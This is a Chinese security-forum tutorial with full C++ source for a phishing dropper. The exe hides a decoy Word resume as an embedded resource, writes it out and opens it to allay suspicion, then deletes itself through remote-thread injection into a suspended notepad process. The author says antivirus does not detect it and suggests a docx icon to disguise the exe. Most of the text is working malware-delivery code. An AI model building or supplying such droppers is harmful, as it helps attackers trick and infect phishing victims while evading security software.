0x01 介绍
在钓鱼的时候,为了让钓鱼文件更真实,最好可以在点击后释放同类型文件出来
比如用简历钓鱼,那么在点完钓鱼文件后会自动打开一个word文件,这样可以不被怀疑
常用的文件捆绑工具基本上是会被杀掉的,这次使用资源文件来实现捆绑
基本是下面的几个步骤
- 释放正常的文件
- 打开正常的文件
- 木马自删除,要么移动到别的目录方便权限维持
0x02 函数介绍
这次是将正常文件藏在资源文件中,然后通过使用一系列的处理资源文件的API将正常文件释放出来,用ShellExecuteEx来执行正常文件,最后创建一个进程,用创建远程线程的方式删除当前文件
创建资源文件
下面用Visual Stdio 2017来创建资源文件
资源文件->添加->资源
点击导入
选择所有文件
资源类型写啥都可以,这里是docx就写个docx好了
这样在编译后docx就在exe中了,只需要调用API取出来就可以了
还有一点点击rc文件会弹出资源视图,右键点开docx选择资源符号可以看到docx的ID
这个后面需要用到
可以看到这里值是101,名称为IDR_DOCX1
FindResourceA
HRSRC FindResourceA(
[in, optional] HMODULE hModule,
[in] LPCSTR lpName,
[in] LPCSTR lpType
);
hModule 其可移植可执行文件或随附的 MUI 文件包含资源的模块的句柄,如果为NULL则从当前模块找
lpName 这里填写上面的ID,不过这里的ID需要用MAKEINTRESOURCEA处理一下。MAKEINTRESOURCEA(ID)这样写
lpType 资源类型,前面填写docx这里就需要写docx了
返回值为HRSRC是句柄,反正就和进程句柄啊模块句柄啊差不多一个意思
LoadResource
HGLOBAL LoadResource(
[in, optional] HMODULE hModule,
[in] HRSRC hResInfo
);
hModule 其可执行文件包含资源的模块的句柄。为NULL则代表当前模块
hResInfo FindResourceA返回的句柄
返回值为HGLOBAL类型的句柄
SizeofResource
DWORD SizeofResource(
[in, optional] HMODULE hModule,
[in] HRSRC hResInfo
);
HMODULE 同上
hResInfo 同上
返回值为资源文件的大小
LockResource
LPVOID LockResource(
[in] HGLOBAL hResData
);
hResData LoadResource返回的句柄
返回值为指向资源文件的指针
CreateFileA
HANDLE CreateFileA(
[in] LPCSTRlpFileName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwShareMode,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[in] DWORD dwCreationDisposition,
[in] DWORD dwFlagsAndAttributes,
[in, optional] HANDLEhTemplateFile
);
lpFileName 要创建的文件的名称
dwDesiredAccess 文件的属性,这个文件创建后是只读还是可读可写之类的
dwShareMode 文件或设备请求的共享模式,简单说就是这个文件在使用时还能不能被别人读写
lpSecurityAttributes 指向SECURITY_ATTRIBUTES 结构的指针,NULL
dwCreationDisposition 对存在或不存在的文件或设备执行的操作。简单说就是如果这个文件已经存在了是覆盖,还是不动,如果文件不存在,是否还要去写这类的,详细的可以看MSDN中的宏定义
dwFlagsAndAttributes 文件的属性
hTemplateFile 在dwDesiredAccess有GENERIC_READ属性后的一些拓展属性
返回值为当前文件的句柄
WriteFile
BOOL WriteFile(
[in]HANDLE hFile,
[in]LPCVOID lpBuffer,
[in]DWORDnNumberOfBytesToWrite,
[out, optional] LPDWORD lpNumberOfBytesWritten,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
hFile 文件句柄
lpBuffer 指向要写入文件的数据的缓冲区的指针
nNumberOfBytesToWrite 要写入的大小
lpNumberOfBytesWritten 实际写入的大小
lpOverlapped 如果使用FILE_FLAG_OVERLAPPED打开hFile参数, 则需要指向OVERLAPPED结构的指针,否则此参数可以为 NULL
返回值为BOOL类型写入成功和写入失败
0x03 代码实现
#include <iostream>
#include <windows.h>
#include "Bundled.h"
DWORD64 WINAPI threadProc(LPVOID lParam) {
INT RET = 20000;
for (size_t i = 0; i < 20000; i++)
{
RET = RET - 1;
}
//循环一下起延时作用,防止线程创建了文件还没有关系,这样删除就失败了
wDeleteFileA kDeleteFileA;
DeleteStruct* DS = (DeleteStruct*)lParam;
kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;
kDeleteFileA(DS->dwDeleteFile_param_1);
//删除文件
return RET;
}
int main(int argc, char* argv[])
{
CHAR PathFileName[MAX_PATH] = { 0 };
CHAR FileName[MAX_PATH] = { 0 };
HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
//得到资源文件HRSRC句柄
HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);
//得到资源文件ResourceGlobal句柄
DWORD FileSize = SizeofResource(NULL, Resource);
//得到资源文件的大小
LPVOID PFILE = LockResource(ResourceGlobal);
//得到指向资源文件内容的指针
GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
//当前进程的路径和名称
strcpy_s(FileName, strrchr(PathFileName, '\\')+1);
/*
strrchr得到第二个参数最后出现的位置
d:\\xxxxx\\xxxxxx\\xxxx.exe在执行后得到\\xxxx.exe
所以需要+1把\\去掉
最后得到了完整的文件名
用strcpy_s把文件名复制到FileName中
*/
for (size_t i = 0; i < MAX_PATH; i++)
{
if(FileName[i] == '.')
{
FileName[i + 1] = 'd';
FileName[i + 2] = 'o';
FileName[i + 3] = 'c';
FileName[i + 4] = 'x';
break;
}
}
//循环找文件名中的.,找到后将文件名的后缀改为docx
//这个步骤主要是为了方便,以后只需要改exe的名称不需要到代码中来改
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
//创建文件名相同的文件
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
// 把资源文件中的内容写入
SHELLEXECUTEINFOA shellexecute = { 0 };
shellexecute.cbSize = sizeof(shellexecute);
shellexecute.lpFile = FileName;
shellexecute.nShow = SW_SHOW;
ShellExecuteExA(&shellexecute);
//打开docx文件
//下面是实现自删除,网上的自删除方法有很多,用的多的是批处理,这里是创建一个进程然后用远程线程注入来让notepad删除当前程序
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);
//创建进程
DeleteStruct DS;
DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");
GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);
//创建远程线程不能直接使用API,需要把函数指针放在结构中传过去
//这里需要DeleteFileA这个函数,用GetProcAddress得到指针后传过去
LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);
//为函数开辟一块内存
LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);
DWORD RETSIZE;
//为参数开辟一块内存
HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);
//执行该线程
CloseHandle(Thread);
//关闭句柄
}
Bundled.h
#pragma once
#include<Windows.h>
typedef struct DeleteStruct
{
FARPROC dwDeleteFile;
CHAR dwDeleteFile_param_1[MAX_PATH];
};
typedef BOOL(WINAPI* wDeleteFileA)(
_In_ LPCSTR lpFileName
);
这种捆绑的方法杀软是不会报毒的
可以看到文件自动删除然后生成了docx文件
最后的话挂上docx的ICO就真实了
- 本文作者: Macchiato
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1778
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!